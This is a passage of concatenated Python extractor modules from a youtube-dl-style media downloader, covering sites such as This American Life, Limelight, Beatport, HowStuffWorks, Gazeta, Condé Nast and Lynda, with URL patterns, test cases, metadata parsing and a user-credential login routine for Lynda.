    _VALID_URL = r'https?://(?:www\.)?thisamericanlife\.org/(?:radio-archives/episode/|play_full\.php\?play=)(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.thisamericanlife.org/radio-archives/episode/487/harper-high-school-part-one',
        'md5': '8f7d2da8926298fdfca2ee37764c11ce',
        'info_dict': {
            'id': '487',
            'ext': 'm4a',
            'title': '487: Harper High School, Part One',
            'description': 'md5:ee40bdf3fb96174a9027f76dbecea655',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        'url': 'http://www.thisamericanlife.org/play_full.php?play=487',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://www.thisamericanlife.org/radio-archives/episode/%s' % video_id, video_id)

        return {
            'id': video_id,
            'url': 'http://stream.thisamericanlife.org/{0}/stream/{0}_64k.m3u8'.format(video_id),
            'protocol': 'm3u8_native',
            'ext': 'm4a',
            'acodec': 'aac',
            'vcodec': 'none',
            'abr': 64,
            'title': self._html_search_meta(r'twitter:title', webpage, 'title', fatal=True),
            'description': self._html_search_meta(r'description', webpage, 'description'),
            'thumbnail': self._og_search_thumbnail(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    float_or_none,
    int_or_none,
)


class LimelightBaseIE(InfoExtractor):
    _PLAYLIST_SERVICE_URL = 'http://production-ps.lvp.llnw.net/r/PlaylistService/%s/%s/%s'
    _API_URL = 'http://api.video.limelight.com/rest/organizations/%s/%s/%s/%s.json'

    def _call_playlist_service(self, item_id, method, fatal=True):
        return self._download_json(
            self._PLAYLIST_SERVICE_URL % (self._PLAYLIST_SERVICE_PATH, item_id, method),
            item_id, 'Downloading PlaylistService %s JSON' % method, fatal=fatal)

    def _call_api(self, organization_id, item_id, method):
        return self._download_json(
            self._API_URL % (organization_id, self._API_PATH, item_id, method),
            item_id, 'Downloading API %s JSON' % method)

    def _extract(self, item_id, pc_method, mobile_method, meta_method):
        pc = self._call_playlist_service(item_id, pc_method)
        metadata = self._call_api(pc['orgId'], item_id, meta_method)
        mobile = self._call_playlist_service(item_id, mobile_method, fatal=False)
        return pc, mobile, metadata

    def _extract_info(self, streams, mobile_urls, properties):
        video_id = properties['media_id']
        formats = []

        for stream in streams:
            stream_url = stream.get('url')
            if not stream_url or stream.get('drmProtected'):
                continue
            ext = determine_ext(stream_url)
            if ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    stream_url, video_id, f4m_id='hds', fatal=False))
            else:
                fmt = {
                    'url': stream_url,
                    'abr': float_or_none(stream.get('audioBitRate')),
                    'vbr': float_or_none(stream.get('videoBitRate')),
                    'fps': float_or_none(stream.get('videoFrameRate')),
                    'width': int_or_none(stream.get('videoWidthInPixels')),
                    'height': int_or_none(stream.get('videoHeightInPixels')),
                    'ext': ext,
                }
                rtmp = re.search(r'^(?P<url>rtmpe?://(?P<host>[^/]+)/(?P<app>.+))/(?P<playpath>mp4:.+)$', stream_url)
                if rtmp:
                    format_id = 'rtmp'
                    if stream.get('videoBitRate'):
                        format_id += '-%d' % int_or_none(stream['videoBitRate'])
                    http_fmt = fmt.copy()
                    http_fmt.update({
                        'url': 'http://%s/%s' % (rtmp.group('host').replace('csl.', 'cpl.'), rtmp.group('playpath')[4:]),
                        'format_id': format_id.replace('rtmp', 'http'),
                    })
                    formats.append(http_fmt)
                    fmt.update({
                        'url': rtmp.group('url'),
                        'play_path': rtmp.group('playpath'),
                        'app': rtmp.group('app'),
                        'ext': 'flv',
                        'format_id': format_id,
                    })
                formats.append(fmt)

        for mobile_url in mobile_urls:
            media_url = mobile_url.get('mobileUrl')
            format_id = mobile_url.get('targetMediaPlatform')
            if not media_url or format_id == 'Widevine':
                continue
            ext = determine_ext(media_url)
            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    media_url, video_id, 'mp4', 'm3u8_native',
                    m3u8_id=format_id, fatal=False))
            elif ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    stream_url, video_id, f4m_id=format_id, fatal=False))
            else:
                formats.append({
                    'url': media_url,
                    'format_id': format_id,
                    'preference': -1,
                    'ext': ext,
                })

        self._sort_formats(formats)

        title = properties['title']
        description = properties.get('description')
        timestamp = int_or_none(properties.get('publish_date') or properties.get('create_date'))
        duration = float_or_none(properties.get('duration_in_milliseconds'), 1000)
        filesize = int_or_none(properties.get('total_storage_in_bytes'))
        categories = [properties.get('category')]
        tags = properties.get('tags', [])
        thumbnails = [{
            'url': thumbnail['url'],
            'width': int_or_none(thumbnail.get('width')),
            'height': int_or_none(thumbnail.get('height')),
        } for thumbnail in properties.get('thumbnails', []) if thumbnail.get('url')]

        subtitles = {}
        for caption in properties.get('captions', []):
            lang = caption.get('language_code')
            subtitles_url = caption.get('url')
            if lang and subtitles_url:
                subtitles.setdefault(lang, []).append({
                    'url': subtitles_url,
                })
        closed_captions_url = properties.get('closed_captions_url')
        if closed_captions_url:
            subtitles.setdefault('en', []).append({
                'url': closed_captions_url,
                'ext': 'ttml',
            })

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'formats': formats,
            'timestamp': timestamp,
            'duration': duration,
            'filesize': filesize,
            'categories': categories,
            'tags': tags,
            'thumbnails': thumbnails,
            'subtitles': subtitles,
        }


class LimelightMediaIE(LimelightBaseIE):
    IE_NAME = 'limelight'
    _VALID_URL = r'''(?x)
                        (?:
                            limelight:media:|
                            https?://
                                (?:
                                    link\.videoplatform\.limelight\.com/media/|
                                    assets\.delvenetworks\.com/player/loader\.swf
                                )
                                \?.*?\bmediaId=
                        )
                        (?P<id>[a-z0-9]{32})
                    '''
    _TESTS = [{
        'url': 'http://link.videoplatform.limelight.com/media/?mediaId=3ffd040b522b4485b6d84effc750cd86',
        'info_dict': {
            'id': '3ffd040b522b4485b6d84effc750cd86',
            'ext': 'mp4',
            'title': 'HaP and the HB Prince Trailer',
            'description': 'md5:8005b944181778e313d95c1237ddb640',
            'thumbnail': 're:^https?://.*\.jpeg$',
            'duration': 144.23,
            'timestamp': 1244136834,
            'upload_date': '20090604',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        # video with subtitles
        'url': 'limelight:media:a3e00274d4564ec4a9b29b9466432335',
        'md5': '2fa3bad9ac321e23860ca23bc2c69e3d',
        'info_dict': {
            'id': 'a3e00274d4564ec4a9b29b9466432335',
            'ext': 'mp4',
            'title': '3Play Media Overview Video',
            'thumbnail': 're:^https?://.*\.jpeg$',
            'duration': 78.101,
            'timestamp': 1338929955,
            'upload_date': '20120605',
            'subtitles': 'mincount:9',
        },
    }, {
        'url': 'https://assets.delvenetworks.com/player/loader.swf?mediaId=8018a574f08d416e95ceaccae4ba0452',
        'only_matching': True,
    }]
    _PLAYLIST_SERVICE_PATH = 'media'
    _API_PATH = 'media'

    def _real_extract(self, url):
        video_id = self._match_id(url)

        pc, mobile, metadata = self._extract(
            video_id, 'getPlaylistByMediaId', 'getMobilePlaylistByMediaId', 'properties')

        return self._extract_info(
            pc['playlistItems'][0].get('streams', []),
            mobile['mediaList'][0].get('mobileUrls', []) if mobile else [],
            metadata)


class LimelightChannelIE(LimelightBaseIE):
    IE_NAME = 'limelight:channel'
    _VALID_URL = r'''(?x)
                        (?:
                            limelight:channel:|
                            https?://
                                (?:
                                    link\.videoplatform\.limelight\.com/media/|
                                    assets\.delvenetworks\.com/player/loader\.swf
                                )
                                \?.*?\bchannelId=
                        )
                        (?P<id>[a-z0-9]{32})
                    '''
    _TESTS = [{
        'url': 'http://link.videoplatform.limelight.com/media/?channelId=ab6a524c379342f9b23642917020c082',
        'info_dict': {
            'id': 'ab6a524c379342f9b23642917020c082',
            'title': 'Javascript Sample Code',
        },
        'playlist_mincount': 3,
    }, {
        'url': 'http://assets.delvenetworks.com/player/loader.swf?channelId=ab6a524c379342f9b23642917020c082',
        'only_matching': True,
    }]
    _PLAYLIST_SERVICE_PATH = 'channel'
    _API_PATH = 'channels'

    def _real_extract(self, url):
        channel_id = self._match_id(url)

        pc, mobile, medias = self._extract(
            channel_id, 'getPlaylistByChannelId',
            'getMobilePlaylistWithNItemsByChannelId?begin=0&count=-1', 'media')

        entries = [
            self._extract_info(
                pc['playlistItems'][i].get('streams', []),
                mobile['mediaList'][i].get('mobileUrls', []) if mobile else [],
                medias['media_list'][i])
            for i in range(len(medias['media_list']))]

        return self.playlist_result(entries, channel_id, pc['title'])


class LimelightChannelListIE(LimelightBaseIE):
    IE_NAME = 'limelight:channel_list'
    _VALID_URL = r'''(?x)
                        (?:
                            limelight:channel_list:|
                            https?://
                                (?:
                                    link\.videoplatform\.limelight\.com/media/|
                                    assets\.delvenetworks\.com/player/loader\.swf
                                )
                                \?.*?\bchannelListId=
                        )
                        (?P<id>[a-z0-9]{32})
                    '''
    _TESTS = [{
        'url': 'http://link.videoplatform.limelight.com/media/?channelListId=301b117890c4465c8179ede21fd92e2b',
        'info_dict': {
            'id': '301b117890c4465c8179ede21fd92e2b',
            'title': 'Website - Hero Player',
        },
        'playlist_mincount': 2,
    }, {
        'url': 'https://assets.delvenetworks.com/player/loader.swf?channelListId=301b117890c4465c8179ede21fd92e2b',
        'only_matching': True,
    }]
    _PLAYLIST_SERVICE_PATH = 'channel_list'

    def _real_extract(self, url):
        channel_list_id = self._match_id(url)

        channel_list = self._call_playlist_service(channel_list_id, 'getMobileChannelListById')

        entries = [
            self.url_result('limelight:channel:%s' % channel['id'], 'LimelightChannel')
            for channel in channel_list['channelList']]

        return self.playlist_result(entries, channel_list_id, channel_list['title'])






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import int_or_none


class BeatportProIE(InfoExtractor):
    _VALID_URL = r'https?://pro\.beatport\.com/track/(?P<display_id>[^/]+)/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'https://pro.beatport.com/track/synesthesia-original-mix/5379371',
        'md5': 'b3c34d8639a2f6a7f734382358478887',
        'info_dict': {
            'id': '5379371',
            'display_id': 'synesthesia-original-mix',
            'ext': 'mp4',
            'title': 'Froxic - Synesthesia (Original Mix)',
        },
    }, {
        'url': 'https://pro.beatport.com/track/love-and-war-original-mix/3756896',
        'md5': 'e44c3025dfa38c6577fbaeb43da43514',
        'info_dict': {
            'id': '3756896',
            'display_id': 'love-and-war-original-mix',
            'ext': 'mp3',
            'title': 'Wolfgang Gartner - Love & War (Original Mix)',
        },
    }, {
        'url': 'https://pro.beatport.com/track/birds-original-mix/4991738',
        'md5': 'a1fd8e8046de3950fd039304c186c05f',
        'info_dict': {
            'id': '4991738',
            'display_id': 'birds-original-mix',
            'ext': 'mp4',
            'title': "Tos, Middle Milk, Mumblin' Johnsson - Birds (Original Mix)",
        }
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        track_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        playables = self._parse_json(
            self._search_regex(
                r'window\.Playables\s*=\s*({.+?});', webpage,
                'playables info', flags=re.DOTALL),
            track_id)

        track = next(t for t in playables['tracks'] if t['id'] == int(track_id))

        title = ', '.join((a['name'] for a in track['artists'])) + ' - ' + track['name']
        if track['mix']:
            title += ' (' + track['mix'] + ')'

        formats = []
        for ext, info in track['preview'].items():
            if not info['url']:
                continue
            fmt = {
                'url': info['url'],
                'ext': ext,
                'format_id': ext,
                'vcodec': 'none',
            }
            if ext == 'mp3':
                fmt['preference'] = 0
                fmt['acodec'] = 'mp3'
                fmt['abr'] = 96
                fmt['asr'] = 44100
            elif ext == 'mp4':
                fmt['preference'] = 1
                fmt['acodec'] = 'aac'
                fmt['abr'] = 96
                fmt['asr'] = 44100
            formats.append(fmt)
        self._sort_formats(formats)

        images = []
        for name, info in track['images'].items():
            image_url = info.get('url')
            if name == 'dynamic' or not image_url:
                continue
            image = {
                'id': name,
                'url': image_url,
                'height': int_or_none(info.get('height')),
                'width': int_or_none(info.get('width')),
            }
            images.append(image)

        return {
            'id': compat_str(track.get('id')) or track_id,
            'display_id': track.get('slug') or display_id,
            'title': title,
            'formats': formats,
            'thumbnails': images,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    find_xpath_attr,
    int_or_none,
    js_to_json,
    unescapeHTML,
    determine_ext,
)


class HowStuffWorksIE(InfoExtractor):
    _VALID_URL = r'https?://[\da-z-]+\.howstuffworks\.com/(?:[^/]+/)*(?:\d+-)?(?P<id>.+?)-video\.htm'
    _TESTS = [
        {
            'url': 'http://adventure.howstuffworks.com/5266-cool-jobs-iditarod-musher-video.htm',
            'info_dict': {
                'id': '450221',
                'ext': 'flv',
                'title': 'Cool Jobs - Iditarod Musher',
                'description': 'Cold sleds, freezing temps and warm dog breath... an Iditarod musher\'s dream. Kasey-Dee Gardner jumps on a sled to find out what the big deal is.',
                'display_id': 'cool-jobs-iditarod-musher',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 161,
            },
            'skip': 'Video broken',
        },
        {
            'url': 'http://adventure.howstuffworks.com/7199-survival-zone-food-and-water-in-the-savanna-video.htm',
            'info_dict': {
                'id': '453464',
                'ext': 'mp4',
                'title': 'Survival Zone: Food and Water In the Savanna',
                'description': 'Learn how to find both food and water while trekking in the African savannah. In this video from the Discovery Channel.',
                'display_id': 'survival-zone-food-and-water-in-the-savanna',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://entertainment.howstuffworks.com/arts/2706-sword-swallowing-1-by-dan-meyer-video.htm',
            'info_dict': {
                'id': '440011',
                'ext': 'mp4',
                'title': 'Sword Swallowing #1 by Dan Meyer',
                'description': 'Video footage (1 of 3) used by permission of the owner Dan Meyer through Sword Swallowers Association International <www.swordswallow.org>',
                'display_id': 'sword-swallowing-1-by-dan-meyer',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
        },
        {
            'url': 'http://shows.howstuffworks.com/stuff-to-blow-your-mind/optical-illusions-video.htm',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        clip_js = self._search_regex(
            r'(?s)var clip = ({.*?});', webpage, 'clip info')
        clip_info = self._parse_json(
            clip_js, display_id, transform_source=js_to_json)

        video_id = clip_info['content_id']
        formats = []
        m3u8_url = clip_info.get('m3u8')
        if m3u8_url and determine_ext(m3u8_url) == 'm3u8':
            formats.extend(self._extract_m3u8_formats(m3u8_url, video_id, 'mp4', format_id='hls', fatal=True))
        flv_url = clip_info.get('flv_url')
        if flv_url:
            formats.append({
                'url': flv_url,
                'format_id': 'flv',
            })
        for video in clip_info.get('mp4', []):
            formats.append({
                'url': video['src'],
                'format_id': 'mp4-%s' % video['bitrate'],
                'vbr': int_or_none(video['bitrate'].rstrip('k')),
            })

        if not formats:
            smil = self._download_xml(
                'http://services.media.howstuffworks.com/videos/%s/smil-service.smil' % video_id,
                video_id, 'Downloading video SMIL')

            http_base = find_xpath_attr(
                smil,
                './{0}head/{0}meta'.format('{http://www.w3.org/2001/SMIL20/Language}'),
                'name',
                'httpBase').get('content')

            URL_SUFFIX = '?v=2.11.3&fp=LNX 11,2,202,356&r=A&g=A'

            for video in smil.findall(
                    './{0}body/{0}switch/{0}video'.format('{http://www.w3.org/2001/SMIL20/Language}')):
                vbr = int_or_none(video.attrib['system-bitrate'], scale=1000)
                formats.append({
                    'url': '%s/%s%s' % (http_base, video.attrib['src'], URL_SUFFIX),
                    'format_id': '%dk' % vbr,
                    'vbr': vbr,
                })

        self._sort_formats(formats)

        return {
            'id': '%s' % video_id,
            'display_id': display_id,
            'title': unescapeHTML(clip_info['clip_title']),
            'description': unescapeHTML(clip_info.get('caption')),
            'thumbnail': clip_info.get('video_still_url'),
            'duration': int_or_none(clip_info.get('duration')),
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class GazetaIE(InfoExtractor):
    _VALID_URL = r'(?P<url>https?://(?:www\.)?gazeta\.ru/(?:[^/]+/)?video/(?:main/)*(?:\d{4}/\d{2}/\d{2}/)?(?P<id>[A-Za-z0-9-_.]+)\.s?html)'
    _TESTS = [{
        'url': 'http://www.gazeta.ru/video/main/zadaite_vopros_vladislavu_yurevichu.shtml',
        'md5': 'd49c9bdc6e5a7888f27475dc215ee789',
        'info_dict': {
            'id': '205566',
            'ext': 'mp4',
            'title': '«70–80 процентов гражданских в Донецке на грани голода»',
            'description': 'md5:38617526050bd17b234728e7f9620a71',
            'thumbnail': 're:^https?://.*\.jpg',
        },
        'skip': 'video not found',
    }, {
        'url': 'http://www.gazeta.ru/lifestyle/video/2015/03/08/master-klass_krasivoi_byt._delaem_vesennii_makiyazh.shtml',
        'only_matching': True,
    }, {
        'url': 'http://www.gazeta.ru/video/main/main/2015/06/22/platit_ili_ne_platit_po_isku_yukosa.shtml',
        'md5': '37f19f78355eb2f4256ee1688359f24c',
        'info_dict': {
            'id': '252048',
            'ext': 'mp4',
            'title': '"Если по иску ЮКОСа придется платить, это будет большой удар по бюджету"',
        },
        'add_ie': ['EaglePlatform'],
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        display_id = mobj.group('id')
        embed_url = '%s?p=embed' % mobj.group('url')
        embed_page = self._download_webpage(
            embed_url, display_id, 'Downloading embed page')

        video_id = self._search_regex(
            r'<div[^>]*?class="eagleplayer"[^>]*?data-id="([^"]+)"', embed_page, 'video id')

        return self.url_result(
            'eagleplatform:gazeta.media.eagleplatform.com:%s' % video_id, 'EaglePlatform')






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlparse,
    compat_urlparse,
)
from ..utils import (
    orderedSet,
    remove_end,
    extract_attributes,
    mimetype2ext,
    determine_ext,
    int_or_none,
    parse_iso8601,
)


class CondeNastIE(InfoExtractor):
    """
    Condé Nast is a media group, some of its sites use a custom HTML5 player
    that works the same in all of them.
    """

    # The keys are the supported sites and the values are the name to be shown
    # to the user and in the extractor description.
    _SITES = {
        'allure': 'Allure',
        'architecturaldigest': 'Architectural Digest',
        'arstechnica': 'Ars Technica',
        'bonappetit': 'Bon Appétit',
        'brides': 'Brides',
        'cnevids': 'Condé Nast',
        'cntraveler': 'Condé Nast Traveler',
        'details': 'Details',
        'epicurious': 'Epicurious',
        'glamour': 'Glamour',
        'golfdigest': 'Golf Digest',
        'gq': 'GQ',
        'newyorker': 'The New Yorker',
        'self': 'SELF',
        'teenvogue': 'Teen Vogue',
        'vanityfair': 'Vanity Fair',
        'vogue': 'Vogue',
        'wired': 'WIRED',
        'wmagazine': 'W Magazine',
    }

    _VALID_URL = r'https?://(?:video|www|player)\.(?P<site>%s)\.com/(?P<type>watch|series|video|embed(?:js)?)/(?P<id>[^/?#]+)' % '|'.join(_SITES.keys())
    IE_DESC = 'Condé Nast media group: %s' % ', '.join(sorted(_SITES.values()))

    EMBED_URL = r'(?:https?:)?//player\.(?P<site>%s)\.com/(?P<type>embed(?:js)?)/.+?' % '|'.join(_SITES.keys())

    _TESTS = [{
        'url': 'http://video.wired.com/watch/3d-printed-speakers-lit-with-led',
        'md5': '1921f713ed48aabd715691f774c451f7',
        'info_dict': {
            'id': '5171b343c2b4c00dd0c1ccb3',
            'ext': 'mp4',
            'title': '3D Printed Speakers Lit With LED',
            'description': 'Check out these beautiful 3D printed LED speakers.  You can\'t actually buy them, but LumiGeek is working on a board that will let you make you\'re own.',
            'uploader': 'wired',
            'upload_date': '20130314',
            'timestamp': 1363219200,
        }
    }, {
        # JS embed
        'url': 'http://player.cnevids.com/embedjs/55f9cf8b61646d1acf00000c/5511d76261646d5566020000.js',
        'md5': 'f1a6f9cafb7083bab74a710f65d08999',
        'info_dict': {
            'id': '55f9cf8b61646d1acf00000c',
            'ext': 'mp4',
            'title': '3D printed TSA Travel Sentry keys really do open TSA locks',
            'uploader': 'arstechnica',
            'upload_date': '20150916',
            'timestamp': 1442434955,
        }
    }]

    def _extract_series(self, url, webpage):
        title = self._html_search_regex(
            r'(?s)<div class="cne-series-info">.*?<h1>(.+?)</h1>',
            webpage, 'series title')
        url_object = compat_urllib_parse_urlparse(url)
        base_url = '%s://%s' % (url_object.scheme, url_object.netloc)
        m_paths = re.finditer(
            r'(?s)<p class="cne-thumb-title">.*?<a href="(/watch/.+?)["\?]', webpage)
        paths = orderedSet(m.group(1) for m in m_paths)
        build_url = lambda path: compat_urlparse.urljoin(base_url, path)
        entries = [self.url_result(build_url(path), 'CondeNast') for path in paths]
        return self.playlist_result(entries, playlist_title=title)

    def _extract_video(self, webpage, url_type):
        query = {}
        params = self._search_regex(
            r'(?s)var params = {(.+?)}[;,]', webpage, 'player params', default=None)
        if params:
            query.update({
                'videoId': self._search_regex(r'videoId: [\'"](.+?)[\'"]', params, 'video id'),
                'playerId': self._search_regex(r'playerId: [\'"](.+?)[\'"]', params, 'player id'),
                'target': self._search_regex(r'target: [\'"](.+?)[\'"]', params, 'target'),
            })
        else:
            params = extract_attributes(self._search_regex(
                r'(<[^>]+data-js="video-player"[^>]+>)',
                webpage, 'player params element'))
            query.update({
                'videoId': params['data-video'],
                'playerId': params['data-player'],
                'target': params['id'],
            })
        video_id = query['videoId']
        video_info = None
        info_page = self._download_webpage(
            'http://player.cnevids.com/player/video.js',
            video_id, 'Downloading video info', query=query, fatal=False)
        if info_page:
            video_info = self._parse_json(self._search_regex(
                r'loadCallback\(({.+})\)', info_page, 'video info'), video_id)['video']
        else:
            info_page = self._download_webpage(
                'http://player.cnevids.com/player/loader.js',
                video_id, 'Downloading loader info', query=query)
            video_info = self._parse_json(self._search_regex(
                r'var\s+video\s*=\s*({.+?});', info_page, 'video info'), video_id)
        title = video_info['title']

        formats = []
        for fdata in video_info.get('sources', [{}])[0]:
            src = fdata.get('src')
            if not src:
                continue
            ext = mimetype2ext(fdata.get('type')) or determine_ext(src)
            quality = fdata.get('quality')
            formats.append({
                'format_id': ext + ('-%s' % quality if quality else ''),
                'url': src,
                'ext': ext,
                'quality': 1 if quality == 'high' else 0,
            })
        self._sort_formats(formats)

        info = self._search_json_ld(
            webpage, video_id, fatal=False) if url_type != 'embed' else {}
        info.update({
            'id': video_id,
            'formats': formats,
            'title': title,
            'thumbnail': video_info.get('poster_frame'),
            'uploader': video_info.get('brand'),
            'duration': int_or_none(video_info.get('duration')),
            'tags': video_info.get('tags'),
            'series': video_info.get('series_title'),
            'season': video_info.get('season_title'),
            'timestamp': parse_iso8601(video_info.get('premiere_date')),
        })
        return info

    def _real_extract(self, url):
        site, url_type, item_id = re.match(self._VALID_URL, url).groups()

        # Convert JS embed to regular embed
        if url_type == 'embedjs':
            parsed_url = compat_urlparse.urlparse(url)
            url = compat_urlparse.urlunparse(parsed_url._replace(
                path=remove_end(parsed_url.path, '.js').replace('/embedjs/', '/embed/')))
            url_type = 'embed'

        self.to_screen('Extracting from %s with the Condé Nast extractor' % self._SITES[site])
        webpage = self._download_webpage(url, item_id)

        if url_type == 'series':
            return self._extract_series(url, webpage)
        else:
            return self._extract_video(webpage, url_type)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_str,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    urlencode_postdata,
)


class LyndaBaseIE(InfoExtractor):
    _SIGNIN_URL = 'https://www.lynda.com/signin'
    _PASSWORD_URL = 'https://www.lynda.com/signin/password'
    _USER_URL = 'https://www.lynda.com/signin/user'
    _ACCOUNT_CREDENTIALS_HINT = 'Use --username and --password options to provide lynda.com account credentials.'
    _NETRC_MACHINE = 'lynda'

    def _real_initialize(self):
        self._login()

    @staticmethod
    def _check_error(json_string, key_or_keys):
        keys = [key_or_keys] if isinstance(key_or_keys, compat_str) else key_or_keys
        for key in keys:
            error = json_string.get(key)
            if error:
                raise ExtractorError('Unable to login: %s' % error, expected=True)

    def _login_step(self, form_html, fallback_action_url, extra_form_data, note, referrer_url):
        action_url = self._search_regex(
            r'<form[^>]+action=(["\'])(?P<url>.+?)\1', form_html,
            'post url', default=fallback_action_url, group='url')

        if not action_url.startswith('http'):
            action_url = compat_urlparse.urljoin(self._SIGNIN_URL, action_url)

        form_data = self._hidden_inputs(form_html)
        form_data.update(extra_form_data)

        try:
            response = self._download_json(
                action_url, None, note,
                data=urlencode_postdata(form_data),
                headers={
                    'Referer': referrer_url,
                    'X-Requested-With': 'XMLHttpRequest',
                })
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 500:
                response = self._parse_json(e.cause.read().decode('utf-8'), None)
                self._check_error(response, ('email', 'password'))
            raise

        self._check_error(response, 'ErrorMessage')

        return response, action_url

    def _login(self):
        username, password = self._get_login_info()
        if username is None:
            return

        # Step 1: download signin page
        signin_page = self._download_webpage(
            self._SIGNIN_URL, None, 'Downloading signin page')

        # Already logged in
        if any(re.search(p, signin_page) for p in (
                'isLoggedIn\s*:\s*true', r'logout\.aspx', r'>Log out<')):
            return

        # Step 2: submit email
        signin_form = self._search_regex(
            r'(?s)(<form[^>]+data-form-name=["\']signin["\'][^>]*>.+?</form>)',
            signin_page, 'signin form')
        signin_page, signin_url = self._login_step(
            signin_form, self._PASSWORD_URL, {'email': username},
            'Submitting email', self._SIGNIN_URL)

        # Step 3: submit password
        password_form = signin_page['body']
        self._login_step(
            password_form, self._USER_URL, {'email': username, 'password': password},
            'Submitting password', signin_url)


class LyndaIE(LyndaBaseIE):
    IE_NAME = 'lynda'
    IE_DESC = 'lynda.com videos'
    _VALID_URL = r'https?://www\.lynda\.com/(?:[^/]+/[^/]+/\d+|player/embed)/(?P<id>\d+)'

    _TIMECODE_REGEX = r'\[(?P<timecode>\d+:\d+:\d+[\.,]\d+)\]'

    _TESTS = [{
        'url': 'http://www.lynda.com/Bootstrap-tutorials/Using-exercise-files/110885/114408-4.html',
        # md5 is unstable
        'info_dict': {
            'id': '114408',
            'ext': 'mp4',
            'title': 'Using the exercise files',
            'duration': 68
        }
    }, {
        'url': 'https://www.lynda.com/player/embed/133770?tr=foo=1;bar=g;fizz=rt&fs=0',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://www.lynda.com/ajax/player?videoId=%s&type=video' % video_id,
            video_id, 'Downloading video JSON')

        if 'Status' in video:
            raise ExtractorError(
                'lynda returned error: %s' % video['Message'], expected=True)

        if video.get('HasAccess') is False:
            self.raise_login_required('Video %s is only available for members' % video_id)

        video_id = compat_str(video.get('ID') or video_id)
        duration = int_or_none(video.get('DurationInSeconds'))
        title = video['Title']

        formats = []

        fmts = video.get('Formats')
        if fmts:
            formats.extend([{
                'url': f['Url'],
                'ext': f.get('Extension'),
                'width': int_or_none(f.get('Width')),
                'height': int_or_none(f.get('Height')),
                'filesize': int_or_none(f.get('FileSize')),
                'format_id': compat_str(f.get('Resolution')) if f.get('Resolution') else None,
            } for f in fmts if f.get('Url')])

        prioritized_streams = video.get('PrioritizedStreams')
        if prioritized_streams:
            for prioritized_stream_id, prioritized_stream in prioritized_streams.items():
                formats.extend([{
                    'url': video_url,
                    'width': int_or_none(format_id),
                    'format_id': '%s-%s' % (prioritized_stream_id, format_id),
                } for format_id, video_url in prioritized_stream.items()])

        self._check_formats(formats, video_id)
        self._sort_formats(formats)

        subtitles = self.extract_subtitles(video_id)

        return {
            'id': video_id,
            'title': title,
            'duration': duration,
            'subtitles': subtitles,
            'formats': formats
        }

    def _fix_subtitles(self, subs):
        srt = ''
        seq_counter = 0
        for pos in range(0, len(subs) - 1):
            seq_current = subs[pos]
            m_current = re.match(self._TIMECODE_REGEX, seq_current['Timecode'])
            if m_current is None:
                continue
            seq_next = subs[pos + 1]
            m_next = re.match(self._TIMECODE_REGEX, seq_next['Timecode'])
            if m_next is None:
                continue
            appear_time = m_current.group('timecode')
            disappear_time = m_next.group('timecode')
            text = seq_current['Caption'].strip()
            if text:
                seq_counter += 1
                srt += '%s\r\n%s --> %s\r\n%s\r\n\r\n' % (seq_counter, appear_time, disappear_time, text)
        if srt:
            return srt

    def _get_subtitles(self, video_id):
        url = 'http://www.lynda.com/ajax/player?videoId=%s&type=transcript' % video_id
        subs = self._download_json(url, None, False)
        if subs:
            return {'en': [{'ext': 'srt', 'data': self._fix_subtitles(subs)}]}
        else:
            return {}


class LyndaCourseIE(LyndaBaseIE):
    IE_NAME = 'lynda:course'
    IE_DESC = 'lynda.com online courses'

    # Course link equals to welcome/introduction video link of same course
    # We will recognize it as course link
    _VALID_URL = r'https?://(?:www|m)\.lynda\.com/(?P<coursepath>[^/]+/[^/]+/(?P<courseid>\d+))-\d\.html'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        course_path = mobj.group('coursepath')
        course_id = mobj.group('courseid')

        course = self._download_json(
            'http://www.lynda.com/ajax/player?courseId=%s&type=course' % course_id,
            course_id, 'Downloading course JSON')

        if course.get('Status') == 'NotFound':
            raise ExtractorError(
                'Course %s does not exist' % course_id, expected=True)

        unaccessible_videos = 0
        entries = []

        # Might want to extract videos right here from video['Formats'] as it seems 'Formats' is not provided
        # by single video API anymore

        for chapter in course['Chapters']:
            for video in chapter.get('Videos', []):
                if video.get('HasAccess') is False:
                    unaccessible_videos += 1
                    continue
                video_id = video.get('ID')
                if video_id:
                    entries.append({
                        '_type': 'url_transparent',
                        'url': 'http://www.lynda.com/%s/%s-4.html' % (course_path, video_id),
                        'ie_key': LyndaIE.ie_key(),
                        'chapter': chapter.get('Title'),
                        'chapter_number': int_or_none(chapter.get('ChapterIndex')),
                        'chapter_id': compat_str(chapter.get('ID')),
                    })

        if unaccessible_videos > 0:
            self._downloader.report_warning(
